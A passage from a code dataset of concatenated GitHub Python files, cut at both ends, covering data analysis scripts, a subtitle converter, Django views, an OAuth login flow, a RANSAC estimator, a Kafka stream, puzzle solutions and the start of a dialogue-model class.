re.sub('[a-zA-Z,:()\" \"]', '' , equation)\r\n if previous == 0:\r\n previous = eval(equation)\r\n else:\r\n previous = eval(str(previous) + equation)\r\n \r\n\r\nwhile run:\r\n perform_math()\r\n","repo_name":"BlueInked/python-pit","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71957362331","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nfrom datetime import datetime as dt\nimport time\nimport math\nimport numpy as np\nimport scipy.stats as stats\nimport seaborn as sns\n\n\ndef get_cols():\n return [\n\n ]\n\n\ndef separate_cols(df=True, save=False, reduce=False):\n if df is True: df = pd.read_csv(r\"src_data\\owid-covid-data.csv\")\n\n def to_year_fraction(date):\n def sinceEpoch(date): return time.mktime(date.timetuple())\n\n s = sinceEpoch\n\n if type(date) is not str: return date\n\n date = dt.strptime(date, '%Y-%m-%d')\n year = date.year\n startOfThisYear = dt(year=year, month=1, day=1)\n startOfNextYear = dt(year=year + 1, month=1, day=1)\n\n yearElapsed = s(date) - s(startOfThisYear)\n yearDuration = s(startOfNextYear) - s(startOfThisYear)\n fraction = yearElapsed / yearDuration\n\n return date.year + fraction\n\n def floor_fractions_to_ith(i): return lambda x: int(x)+int((x-int(x))*i)/i if not math.isnan(x) else x\n\n # def value_split_in_range(a,b,t):\n # delta = (b-a)/t\n # return lambda x: (round(int(x/delta)*delta,5) if not math.isnan(x) else x) \\\n # if a < x < b else (round(a-delta*2,5) if a > x else round(b+delta*2,5))\n\n df[\"date\"] = df[\"date\"].apply(to_year_fraction)\n\n if reduce:\n df[\"date\"] = df[\"date\"].apply(floor_fractions_to_ith(4))\n if save: df.to_csv(r\"working_data\\separated_cols.csv\", index=False)\n\n return df\n\n\ndef count_unique(df=True, save=False):\n if df is True: df = pd.read_csv(r\"working_data\\separated_cols.csv\")\n\n count = {col: list(zip(df[col].value_counts().index, df[col].value_counts())) for col in df.columns}\n\n count_df=pd.DataFrame()\n for col in count.keys():\n col_df = pd.DataFrame({col:count[col]})\n count_df = pd.concat([count_df, col_df], axis=1)\n\n if save: count_df.to_csv(r\"working_data\\unique_counts.csv\", index=False)\n\n return count_df\n\n\ndef mean_chart(df=True, save=False):\n if df: df = pd.read_csv(r\"working_data\\separated_cols.csv\")\n\n mean_chart=pd.DataFrame()\n for col in df.columns:\n mean_df = {}\n try:\n pop = df[col][df[col].notna()]\n mean_df[col]=[]\n for s in range(10000):\n sample = np.random.choice(pop, 250)\n mean_df[col].append((sample.mean(), sample.std()))\n except: pass\n mean_chart = pd.concat([mean_chart, pd.DataFrame(mean_df)], axis=1)\n\n if save: pd.DataFrame(mean_chart).to_csv(r\"working_data\\mean_chart.csv\", index=False)\n\n return df\n\n\ndef normality_chart(df=True, save=False):\n if df: df = pd.read_csv(r\"working_data\\separated_cols.csv\")\n\n # df.drop([\n # ], axis=1, inplace=True)\n\n normality_chart = pd.DataFrame()\n for col in df.columns:\n print(col)\n normality_df = {}\n try:\n pop = df[col][df[col].notna()]\n normality_df[col]=[]\n for s in range(1000):\n sample = np.random.choice(pop, 250)\n z,p = stats.normaltest(sample)\n normality_df[col].append((z,p))\n except: pass\n normality_chart = pd.concat([normality_chart, pd.DataFrame(normality_df)], axis=1)\n\n if save: pd.DataFrame(normality_chart).to_csv(r\"working_data\\normality_chart.csv\", index=False)\n\n return df\n\n\ndef plot_counts(df=True, reduced=True):\n if df: df = pd.read_csv(r\"working_data\\separated_cols.csv\")\n if reduced: df_mean = pd.read_csv(r\"working_data\\mean_chart.csv\")\n\n cols=df.columns\n\n # df.drop([\n # ], axis=1, inplace=True)\n\n for col in cols:\n print(col)\n pop = df[col][df[col].notna()]\n plt.clf()\n sns.histplot(pop)\n plt.title(col)\n plt.savefig(\"working_data\\\\hist_plot\\\\all\\\\\"+col+\"_all.png\")\n\n if reduced:\n m,v=0,0\n if df_mean[col][df_mean[col].notna()].empty: continue\n for a in df_mean[col]: m,v=tuple(map(sum, zip((m,v), eval(a))))\n m,v = m/len(df_mean[col]), v/len(df_mean[col])*1.1\n plt.xlim(max(m-v, min(pop)),min(m+v, max(pop)))\n plt.savefig(\"working_data\\\\hist_plot\\\\reduced\\\\\"+col+\"_reduced.png\")\n\n\ndef with_without(col=\"CRIME_TYPE\", val1='ASSAULT', val='ASSAULT'):\n df_base = pd.read_csv(r\"working_data\\separated_cols.csv\")\n df_base_r = pd.read_csv(r\"working_data\\separated_cols.csv\")\n\n df=df_base.loc[df_base[col] == val1]\n df_r=df_base_r.loc[df_base_r[col] == val1]\n df.to_csv(\"working_data\\\\seperated\\\\only_\"+val+\"\\\\separated_cols.csv\", index=False)\n count_unique(df_r, save=\"working_data\\\\seperated\\\\only_\"+val)\n mean_chart(df, save=\"working_data\\\\seperated\\\\only_\"+val)\n normality_chart(df, save=\"working_data\\\\seperated\\\\only_\"+val)\n plot_counts(df, save=\"working_data\\\\seperated\\\\only_\"+val)\n\n df=df_base.loc[df_base[col] != val1]\n df_r=df_base_r.loc[df_base_r[col] != val1]\n df.to_csv(\"working_data\\\\seperated\\\\without_\"+val+\"\\\\separated_cols.csv\", index=False)\n count_unique(df_r, save=\"working_data\\\\seperated\\\\without_\"+val)\n mean_chart(df, save=\"working_data\\\\seperated\\\\without_\"+val)\n normality_chart(df, save=\"working_data\\\\seperated\\\\without_\"+val)\n plot_counts(df, save=\"working_data\\\\seperated\\\\without_\"+val)\n\n\nif __name__ == '__main__':\n # separate_cols(save=True)\n # count_unique(separate_cols(reduce=True), save=True)\n # mean_chart(save=True)\n # normality_chart(save=True)\n plot_counts()\n","repo_name":"HosseinOutward/DataScience_SBU_Course","sub_path":"Ex2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73160531932","text":"\"\"\" Procesar archivos SBV \nLos archivos SBV son generados por YouTube como transcripción automática de los textos.\nLa idea es poder pasarlos a texto reutilizables en otros contextos.\n\"\"\"\nimport sys\nimport re\n\nprint(\"sbv.py file.sbv -> genera file.txt\")\nprint(\"Pensado para entrevistas\")\n\nsbv_file = sys.argv[1]\nbase_name = sbv_file.replace('.sbv', '')\n\nf = open(sbv_file, 'r')\nsbv_txt = f.read()\nf.close()\n\nregistros = []\n\nfor linea in sbv_txt.split('\\n'):\n if re.match('[0-9]:[0-9]', linea):\n ts = linea.split(',')\n tiempo = {'ini': ts[0], 'fin': ts[1]}\n ultimo_registro = {'tiempo': tiempo, 'texto': ''} \n registros.append(ultimo_registro)\n else:\n if linea.strip() != '':\n ultimo_registro['texto'] = linea\n\nprint('Registros: {}'.format(len(registros)))\n\n# imprimir un srt\nsrt_file = '{}.srt'.format(base_name)\nf = open(srt_file, 'w')\nc = 1\nfor registro in registros:\n f.write('{}\\n'.format(c))\n f.write('{} --> {}\\n'.format(registro['tiempo']['ini'].replace('.', ','), registro['tiempo']['fin'].replace('.', ',')))\n f.write('{}\\n'.format(registro['texto']))\n f.write('\\n')\n c += 1\nf.close()\n\n# limpiar un poco para escribir un txt\ntxt_file = '{}.txt'.format(base_name)\n\ntextos = [linea['texto'] for linea in registros]\ntxt = ' '.join(textos)\ntxt = txt.replace(' ', ' ')\ntxt = txt.replace('. ', '.\\n') # dos espacios como markdown\n\n\n\nf = open(txt_file, 'w')\nf.write(txt)\nf.close()\n\nprint('FINAL ********************')\nprint(txt)","repo_name":"avdata99/cadena-de-datos","sub_path":"extras/sbv.py","file_name":"sbv.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"es","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"7093501012","text":"import misaka\nfrom django import template\n\nregister = template.Library()\n\n\n@register.filter\ndef format_post(post):\n from knowledge_share.twitter_helpers import format_twitter_post_to_share\n return format_twitter_post_to_share(post)\n\n\n@register.filter\ndef convert_to_html(content):\n html_content = misaka.html(content, extensions=(\n 'fenced-code', 'autolink', 'strikethrough',\n 'underline', 'highlight', 'quote', 'math', 'no-intra-emphasis'\n ))\n html_content = html_content.replace(' Union[PortfolioResponseModel, ErrorBodyModel]:\n response, ok = await self._exec_request(\n self.RequestMethod.GET,\n self._url,\n params={\n \"clientId\": params.clientId,\n \"content.IncludeCurrencies\": params.includeCurrencies,\n \"content.IncludeMoney\": params.includeMoney,\n \"content.IncludePositions\": params.includePositions,\n \"content.IncludeMaxBuySell\": params.includeMaxBuySell,\n }\n )\n if not ok:\n err = ErrorBodyModel(**response)\n raise FinamTradeApiError(f\"{err.error.code} | {err.error.data} | {err.error.message}\")\n return PortfolioResponseModel(**response)\n","repo_name":"DBoyara/FinamTradeApiPy","sub_path":"finam_trade_api/portfolio/portfolio.py","file_name":"portfolio.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"32"} +{"seq_id":"70883107612","text":"import json\nimport logging\nfrom requests_oauthlib import OAuth2Session\n\nfrom django.utils.translation import ugettext as _\nfrom django.contrib import messages\nfrom django.views.decorators.http import require_http_methods\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.conf import settings as django_settings\n\nfrom astakos.im.models import AstakosUser\nfrom astakos.im import settings\nfrom astakos.im.views.target import get_pending_key, \\\n handle_third_party_signup, handle_third_party_login, \\\n init_third_party_session\nfrom astakos.im.views.decorators import cookie_fix, requires_auth_provider\n\nlogger = logging.getLogger(__name__)\n\nOAUTH_CONSUMER_KEY = settings.GOOGLE_CLIENT_ID\nOAUTH_CONSUMER_SECRET = settings.GOOGLE_SECRET\n\n\ndef django_setting(key, default):\n return getattr(django_settings, 'GOOGLE_%s' % key.upper, default)\n\ndefault_token_scopes = ['https://www.googleapis.com/auth/userinfo.profile',\n 'https://www.googleapis.com/auth/userinfo.email']\n\ntoken_scope = django_setting('token_scope', u' '.join(default_token_scopes))\nauthenticate_url = django_setting(\n 'authenticate_url',\n 'https://accounts.google.com/o/oauth2/auth')\naccess_token_url = django_setting(\n 'access_token_url',\n 'https://www.googleapis.com/oauth2/v1/tokeninfo')\nrequest_token_url = django_setting(\n 'request_token_url',\n 'https://accounts.google.com/o/oauth2/token')\n\n\ndef get_redirect_uri():\n return \"%s%s\" % (settings.BASE_HOST,\n reverse('astakos.im.views.target.google.authenticated'))\n\n\n@requires_auth_provider('google')\n@require_http_methods([\"GET\", \"POST\"])\ndef login(request):\n init_third_party_session(request)\n oauth = OAuth2Session(settings.GOOGLE_CLIENT_ID,\n redirect_uri=get_redirect_uri(), scope=token_scope)\n\n params = {}\n force_login = request.GET.get('force_login', request.GET.get('from_login',\n True))\n if force_login:\n params['approval_prompt'] = 'force'\n\n if request.GET.get('key', None):\n request.session['pending_key'] = request.GET.get('key')\n\n if request.GET.get('next', None):\n request.session['next_url'] = request.GET.get('next')\n\n auth_url, state = oauth.authorization_url(authenticate_url, **params)\n return HttpResponseRedirect(auth_url)\n\n\n@requires_auth_provider('google')\n@require_http_methods([\"GET\", \"POST\"])\n@cookie_fix\ndef authenticated(\n request,\n template='im/third_party_check_local.html',\n extra_context=None\n):\n\n if extra_context is None:\n extra_context = {}\n\n if request.GET.get('error', None):\n return HttpResponseRedirect(reverse('edit_profile'))\n\n # TODO: Handle errors, e.g. error=access_denied\n try:\n oauth = OAuth2Session(settings.GOOGLE_CLIENT_ID,\n redirect_uri=get_redirect_uri(),\n scope=token_scope)\n\n code = request.GET.get('code', None)\n token = oauth.fetch_token(request_token_url, code=code,\n client_secret=settings.GOOGLE_SECRET)\n access_token = token.get('access_token', None)\n\n # Simply validating the token should return user_id\n # This probably does not need to be performed via the oauth.request\n # method\n resp = oauth.request(url=\"%s?access_token=%s\" %\n (access_token_url, access_token), method=\"GET\")\n access_token_data = json.loads(resp.content)\n except Exception as e:\n logger.exception(e)\n messages.error(request, _('Invalid Google response. Please '\n 'contact support'))\n return HttpResponseRedirect(reverse('edit_profile'))\n\n if not access_token_data.get('user_id', None):\n messages.error(request, _('Invalid Google response. Please contact '\n ' support'))\n return HttpResponseRedirect(reverse('edit_profile'))\n\n userid = access_token_data['user_id']\n provider_info = access_token_data\n affiliation = 'Google.com'\n user_info = {'affiliation': affiliation}\n\n try:\n return handle_third_party_login(request, 'google', userid,\n provider_info, affiliation,\n user_info=user_info)\n except AstakosUser.DoesNotExist:\n third_party_key = get_pending_key(request)\n return handle_third_party_signup(request, userid, 'google',\n third_party_key,\n provider_info,\n user_info,\n template,\n extra_context)\n","repo_name":"grnet/synnefo","sub_path":"snf-astakos-app/astakos/im/views/target/google.py","file_name":"google.py","file_ext":"py","file_size_in_byte":4845,"program_lang":"python","lang":"en","doc_type":"code","stars":133,"dataset":"github-code","pt":"32"} +{"seq_id":"37801650796","text":"#!/usr/bin/env python\n\nimport aoc\nfrom glob import glob\nfrom os.path import join as pathjoin\n\n\ndef find_last_implemented_day() -> int:\n # I wouldn't every do this normally, and this is yucky, but\n # since this is just a dumb little programming challenge calendar,\n # oh well :shrug:\n return int(\n sorted([f[-5:].removesuffix(\".py\") for f in glob(pathjoin(\"src\", \"aoc\", \"day*.py\"))])[-1]\n )\n\n\ndef main():\n latest = find_last_implemented_day()\n # I wouldn't every do this normally, and this is yucky, but\n # since this is just a dumb little programming challenge calendar,\n # oh well :shrug:\n for day in range(1, latest + 1):\n __import__(f\"aoc.day{day:02}\")\n getattr(aoc, f\"day{day:02}\").main()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bigpick/code-practice","sub_path":"2022/advent-of-code/python/src/aoc/advent_of_code.py","file_name":"advent_of_code.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39660276705","text":"import sys\nsys.path.append(\"../../build/\")\nimport pyVO\nimport numpy as np\nimport math\n\nclass RansacPY(object):\n def __init__(self, estimator, supportmeasurer, sampler,\n max_error = 0.0, min_inlier_ratio = 0.1, confidence = 0.99,\n dyn_num_trials_multiplier = 3.0, min_num_trials = 0,\n max_num_trials = 10000000):\n super(RansacPY, self).__init__()\n\n self.estimator = estimator()\n self.kMinNumSamples = self.estimator.kMinNumSamples\n self.supportmeasurer = supportmeasurer()\n self.sampler = sampler(self.kMinNumSamples)\n self.max_error = max_error\n self.min_inlier_ratio = min_inlier_ratio\n self.confidence = confidence\n self.dyn_num_trials_multiplier = dyn_num_trials_multiplier\n self.min_num_trials = min_num_trials\n self.max_num_trials = max_num_trials\n\n self.check()\n\n # Determine max_num_trials based on assumed `min_inlier_ratio`.\n dyn_max_num_trials = self.compute_num_trials(int(100000 * self.min_inlier_ratio), 100000, self.confidence, self.dyn_num_trials_multiplier)\n self.max_num_trials = min(dyn_max_num_trials, self.max_num_trials)\n\n # check the ransac optional is leagle\n def check(self):\n assert self.max_error > 0.0\n assert self.min_inlier_ratio < 1.0 and self.min_inlier_ratio > 0.0\n assert self.confidence > 0.0 and self.confidence < 1.0\n assert self.min_num_trials < self.max_num_trials\n\n def sample(self, X, Y):\n X_rand = []\n Y_rand = []\n sample_idxes = self.sampler.Sample()\n for idx in sample_idxes:\n X_rand.append(X[idx])\n Y_rand.append(Y[idx])\n X_rand = np.array(X_rand).reshape(len(sample_idxes), -1)\n Y_rand = np.array(Y_rand).reshape(len(sample_idxes), -1)\n return X_rand, Y_rand\n\n # Determine the maximum number of trials required to sample at least one\n # outlier-free random set of samples with the specified confidence,\n # given the inlier ratio.\n \n # @param num_inliers\t\t\t\tThe number of inliers.\n # @param num_samples\t\t\t\tThe total number of samples.\n # @param confidence\t\t\t\tConfidence that one sample is\n # \t\t\t\t\t\t\toutlier-free.\n # @param num_trials_multiplier Multiplication factor to the computed\n # \t\t\t\t\t\t number of trials.\n \n # @return The required number of iterations.\n def compute_num_trials(self, num_inliers, num_samples, confidence,\n num_trials_multiplier):\n inlier_ratio = num_inliers / num_samples\n nom = 1 - confidence\n if nom <= 0:\n return 10000000\n denom = 1 - math.pow(inlier_ratio, self.kMinNumSamples)\n if denom <= 0:\n return 1\n return math.ceil(math.log(nom) / math.log(denom) * num_trials_multiplier)\n\n # Robustly estimate model with RANSAC (RANdom SAmple Consensus).\n #\n # @param X Independent variables.\n # @param Y Dependent variables.\n #\n # @return The report with the results of the estimation.\n def estimate(self, X, Y):\n assert X.shape[0] == Y.shape[0]\n num_samples = X.shape[0]\n success = False\n num_trials = 0\n support = pyVO.optim.Support()\n inlier_mask = []\n model = np.zeros([3, 3])\n\n if num_samples < self.kMinNumSamples:\n return success, num_trials, support, inlier_mask, model\n \n abort = False\n max_residual = self.max_error * self.max_error\n self.sampler.Initialize(num_samples)\n\n max_num_trials = self.max_num_trials\n max_num_trials = min(max_num_trials, self.sampler.MaxNumSamples())\n dyn_max_num_trials = max_num_trials\n\n while (num_trials < max_num_trials):\n if abort:\n num_trials += 1\n break\n X_rand, Y_rand = self.sample(X, Y)\n sample_models = self.estimator.Estimate(X_rand, Y_rand)\n for sample_model in sample_models:\n residuals = self.estimator.Residuals(X, Y, sample_model)\n assert len(residuals) == num_samples\n support_tmp = self.supportmeasurer.Evaluate(residuals, max_residual)\n if self.supportmeasurer.Compare(support_tmp, support):\n support = support_tmp\n model = sample_model\n dyn_max_num_trials = self.compute_num_trials(support.num_inliers, num_samples, self.confidence, self.dyn_num_trials_multiplier)\n if dyn_max_num_trials < num_trials and num_trials > self.min_num_trials:\n abort = True\n break\n num_trials += 1\n if support.num_inliers < self.kMinNumSamples:\n return success, num_trials, support, inlier_mask, model\n success = True\n residuals = self.estimator.Residuals(X, Y, model)\n assert len(residuals) == num_samples\n for i in range(num_samples):\n inlier_mask.append(residuals[i] <= max_residual)\n\n return success, num_trials, support, inlier_mask, model\n\nif __name__ == \"__main__\":\n essential5_ransac = RansacPY(pyVO.estimator.EssentialMatrixFivePointEstimator, pyVO.optim.Support, pyVO.optim.RandomSampler, 0.1)\n # Check compute_num_trials\n print(essential5_ransac.compute_num_trials(1, 100, 0.99, 1.0) == 46051698048)\n print(essential5_ransac.compute_num_trials(10, 100, 0.99, 1.0) == 460515)\n print(essential5_ransac.compute_num_trials(10, 100, 0.999, 1.0) == 690773)\n print(essential5_ransac.compute_num_trials(10, 100, 0.999, 2.0) == 1381545)\n print(essential5_ransac.compute_num_trials(100, 100, 0.99, 1.0) == 1)\n print(essential5_ransac.compute_num_trials(100, 100, 0.999, 1.0) == 1)\n print(essential5_ransac.compute_num_trials(100, 100, 0.0, 1.0) == 1)","repo_name":"Xbbei/pyVO","sub_path":"python/optim/ransac.py","file_name":"ransac.py","file_ext":"py","file_size_in_byte":5847,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"15749775843","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom .models import Data\n\n\nclass Post(APIView):\n def post(self, request, format=None):\n app_name = request.Post.get('app_name', None)\n category = request.Post.get('category', None)\n rating = request.Post.get('rating', None)\n reviews = request.Post.get('reviews', None)\n size = request.Post.get('size', None)\n downloads = request.Post.get('downloads', None)\n paid_or_free = request.Post.get('paid_or_free', None)\n price = request.Post.get('price', None)\n age_group = request.Post.get('age_group', None)\n genres = request.Post.get('genres', None)\n\n model, d = Data.objects.get_or_create()\n model.ApplicationName = app_name\n model.Category = category\n model.OverallUserRating = rating\n model.NumberOfUsersReviews = reviews\n model.Size = size\n model.NumberOfUserDownloads = downloads\n model.PaidOrFree = paid_or_free\n model.Price = price\n model.AgeGroup = age_group\n model.Genres = genres\n model.save()\n\n result = {'data': str(app_name)}\n\n return Response(data=result, status=status.HTTP_200_OK)\n\n\nclass Get(APIView):\n def get(self, request, format=None):\n model = Data.objects.all()\n data = {}\n for item in model:\n data[item.ApplicationName] = [item.Category, item.OverallUserRating, item.NumberOfUsersReviews,\n item.NumberOfUsersReviews,\n item.Size, item.NumberOfUserDownloads, item.PaidOrFree, item.Price,\n item.AgeGroup, item.Genres]\n\n return Response(data=data, status=status.HTTP_200_OK)\n\n\nclass GetByFilterDownloadNumberAscending(APIView):\n def get(self, request):\n try:\n number = request.GET.get('number', None)\n model = Data.objects.order_by('-NumberOfUserDownloads')[:int(number)]\n data = {}\n temp = []\n for item in model:\n temp.append({\"ApplicationName\": item.ApplicationName, \"Category\": item.Category,\n \"OverallUserRating\": item.OverallUserRating,\n \"NumberOfUsersReviews\": item.NumberOfUsersReviews,\n \"Size\": item.Size, \"NumberOfUserDownloads\": item.NumberOfUserDownloads,\n \"PaidOrFree\": item.PaidOrFree, \"Price\": item.Price,\n \"AgeGroup\": item.AgeGroup, \"Genres\": item.Genres})\n data['apps'] = temp\n return Response(data=data, status=status.HTTP_200_OK)\n except Exception as e:\n data = {'ERROR': str(e)}\n return Response(data=data, status=status.HTTP_200_OK)\n","repo_name":"mohammadbaghban/SE_GooglePlay_data_visualisation","sub_path":"API/scraper/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70127078171","text":"import os\nimport pyspark\nfrom pyspark.sql import SparkSession\n\nappName = 'Kafka Converter'\nspark = SparkSession.builder.appName(appName).config(\"spark.some.config.option\", \"some-value\").getOrCreate()\nserver = '172.19.0.2:9092'\nin_topic_name = 'post'\nout_topic_name = 'processed_post'\n\ndf = spark \\\n .readStream \\\n .format(\"kafka\") \\\n .option(\"kafka.bootstrap.servers\", server) \\\n .option(\"subscribe\", in_topic_name) \\\n .load()\n\nprint('########### Loading done ##########')\n# df = df.selectExpr(\"CAST(id AS STRING) AS key\", \"to_json(struct(*)) AS value\")\ndf.show()\nprint(type(df))\n# ssc.start()\n# ssc.awaitTermination()\ndf.writeStream.format(\"kafka\").outputMode(\"append\").option(\"kafka.bootstrap.servers\", server).option(\"topic\", out_topic_name).start().awaitTermination()","repo_name":"gauravguptabits/kafka_pyspark","sub_path":"kafka_stream_post.py","file_name":"kafka_stream_post.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13555731230","text":"import librosa\nimport opensmile\nimport numpy as np\nfrom pickle import load as download\nfrom moviepy.editor import VideoFileClip\n\n\ndef open_pickle(path):\n f = open(path, 'rb')\n model = download(f)\n f.close()\n\n return model\n\n\ndef make_audio(path_to_video):\n clip = VideoFileClip(path_to_video, verbose=False)\n pathto = 'data/utt.mp3'\n clip.audio.write_audiofile(pathto, verbose=False)\n\n return\n\n\ndef make_csv_openSMILE(path_audio='data/utt.mp3', s=22050):\n smile = opensmile.Smile()\n\n signal, sr = librosa.load(path_audio, sr=s)\n frame_audio = smile.process_signal(signal, sr)\n\n return np.array(np.float_(frame_audio.iloc[0].values.flatten().tolist()))\n\n\ndef get_weight_classifiers():\n scaler = open_pickle('models/audio_models/scaler.pickle')\n pca = open_pickle('models/audio_models/PCA.pickle')\n classifier = open_pickle('models/audio_models/SVC_model_audio_36score.pickle')\n\n return scaler, pca, classifier\n\n\ndef get_audio_prob(open_row: np.array) -> np.array:\n scaler, pca, classifier = get_weight_classifiers()\n\n row = np.array(open_row)\n row = row.reshape(-1, 1).T\n row = scaler.transform(row)\n row = pca.transform(row)\n probs = classifier.predict_proba(row)\n\n return np.array(probs[0])\n","repo_name":"Laitielly/MELD_rec_emo","sub_path":"bot and biblio/local_biblio (Anna)/audio_probs_embs.py","file_name":"audio_probs_embs.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18087611712","text":"def read_lengths(data):\n return [ord(ch) for ch in data.strip()] + [17, 31, 73, 47, 23]\n\ndef reverse(data, pos, l):\n assert l <= len(data)\n end = pos + l - 1\n while pos < end:\n data[pos % len(data)], data[end % len(data)] = data[end % len(data)], data[pos % len(data)]\n pos += 1\n end -= 1\n\ndef apply(data, lens):\n pos = 0\n skip = 0\n for round in range(64):\n for l in lens:\n reverse(data, pos, l)\n pos = (pos + l + skip) % len(data)\n skip = (skip + 1) % len(data)\n\ndef condense(data):\n return [\n reduce(lambda a, b: a ^ b, data[pos:pos + 16], 0)\n for pos in range(0, 256, 16)\n ]\n\ndef tohex(condensed):\n return ''.join(\n '%02x' % num\n for num in condensed\n )\n\ndef calc_hash(s):\n \"\"\"Calculate a knot hash for a string\"\"\"\n data = list(range(256))\n lens = read_lengths(s)\n apply(data, lens)\n return tohex(condense(data))\n\ndef calc_hash_binary(s):\n h = calc_hash(s)\n b = '0'*128 + (bin(eval(\"0x%s\" % h))[2:])\n return b[-128:]\n","repo_name":"rboulton/adventofcode","sub_path":"2017/util/knothash.py","file_name":"knothash.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"69837155932","text":"from dice_manager import DiceManager\n\n\nclass BoardManager:\n\n def __init__(self, players):\n self.players = players\n self.playersInside = []\n self.playersOutside = []\n self.playersOutside = players\n self.diceManager = DiceManager()\n self.currentPlayerIndex = 0\n\n self.currentPlayer = self.players[0]\n\n def start_turn(self):\n\n self.currentPlayer = self.players[self.currentPlayerIndex]\n\n#mover el jugador al centro si no hay nadie\n if len(self.playersInside) == 0:\n self.playersInside.append(self.currentPlayer)\n self.playersOutside.remove(self.currentPlayer)\n\n def finish_turn(self):\n#mover pasar al siguiente player\n self.currentPlayerIndex += 1\n if self.currentPlayerIndex >= len(self.players):\n self.currentPlayerIndex = 0\n \n\n\n\n\n","repo_name":"emiliaartola/GRUPOB-TM","sub_path":"Proyecto/board_manager.py","file_name":"board_manager.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29931614457","text":"\nimport re\ncolorz = [\"black\",\"brown\",\"red\",\"orange\",\"yellow\",\"green\",\"blue\",\"violet\",\"gray\",\"white\",\"gold\",\"silver\"]\ntolerance = dict(zip(colorz,[None,1,2,None,None,0.5,0.25,0.1,0.05,None,5,10]))\ntcr = dict(zip(colorz,([None,100,50,15,25,None,10,5,None,None,None,None])))\nclass Color:\n def __init__(self,color):\n self.color = color\n self.digit = colorz.index(color)\n self.tol = \"+/-\" + str(tolerance[self.color]) + \"%\"\n self.tc = str(tcr[self.color]) + \"ppm/k\"\n def magnitude(self):\n return 0.1 if self.color == \"gold\" else 0.01 if self.color == \"silver\" else pow(10,self.digit)\nclass Resistance:\n def __init__(self):\n self.label = \"\"\n self.n = None\n def update_info(self,n):\n if n < 1000:\n self.n = n\n elif n < 1000000:\n self.label = \"k\"\n self.n = n/1000\n elif n < 1000000000:\n self.label = \"M\"\n self.n = n/1000000\n else:\n self.label = \"G\"\n self.n = n/1000000000\n def string(self):\n s = str(self.n)\n if s.endswith(\".0\"):\n s = s[:-2]\n elif s.endswith(\"0\") and \".\" in s:\n s = re.sub(r'0+$','',s)\n return \"{}{}Ohm\".format(s,self.label)\ndef resistor_code(colors):\n bands = [Color(x) for x in colors]\n res = str(bands[0].digit) + str(bands[1].digit)\n if len(bands) > 4:\n res += str(bands[2].digit)\n res = int(res)\n def mag():\n return 2 if len(bands) == 4 else 3\n res *= bands[mag()].magnitude()\n def toler():\n return 3 if len(bands) == 4 else 4\n resistance = Resistance()\n resistance.update_info(res)\n s = \"{} {}\".format(resistance.string(),bands[toler()].tol)\n if len(bands) == 6:\n s += \" \" + bands[-1].tc\n return s\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"EcAKCvatiTzZx5Wov_10.py","file_name":"EcAKCvatiTzZx5Wov_10.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26690390418","text":"\nimport json\n\nimport torch\nfrom torch.nn.functional import softmax, one_hot, cross_entropy\n\nfrom convlab.policy.genTUS.unify.knowledge_graph import KnowledgeGraph\nfrom convlab.policy.genTUS.token_map import tokenMap\nfrom convlab.policy.genTUS.utils import append_tokens\nfrom transformers import (BartConfig, BartForConditionalGeneration,\n BartTokenizer)\n\n\nclass stepGenTUSmodel(BartForConditionalGeneration):\n def __init__(self, model_checkpoint, train_whole_model=True, **kwargs):\n config = BartConfig.from_pretrained(model_checkpoint)\n super().__init__(config, **kwargs)\n\n self.tokenizer = BartTokenizer.from_pretrained(model_checkpoint)\n self.vocab = len(self.tokenizer)\n self.kg = KnowledgeGraph(self.tokenizer)\n self.action_kg = KnowledgeGraph(self.tokenizer)\n self.token_map = tokenMap(self.tokenizer)\n # only_action doesn't matter. it is only used for get_log_prob\n self.token_map.default(only_action=True)\n\n if not train_whole_model:\n for param in self.parameters():\n param.requires_grad = False\n\n for param in self.model.decoder.layers[-1].fc1.parameters():\n param.requires_grad = True\n for param in self.model.decoder.layers[-1].fc2.parameters():\n param.requires_grad = True\n\n def get_trainable_param(self):\n\n return filter(\n lambda p: p.requires_grad, self.parameters())\n\n def get_next_token_logits(self, model_input, generated_so_far):\n input_ids = model_input[\"input_ids\"].to(self.device)\n attention_mask = model_input[\"attention_mask\"].to(self.device)\n outputs = self.forward(\n input_ids=input_ids,\n attention_mask=attention_mask,\n decoder_input_ids=generated_so_far,\n return_dict=True)\n return outputs.logits[:, -1, :]\n\n def get_log_prob(self, s, a, action_mask, prob_mask):\n output = self.forward(input_ids=s,\n attention_mask=action_mask,\n decoder_input_ids=a)\n prob = self._norm_prob(a[:, 1:].long(),\n output.logits[:, :-1, :],\n 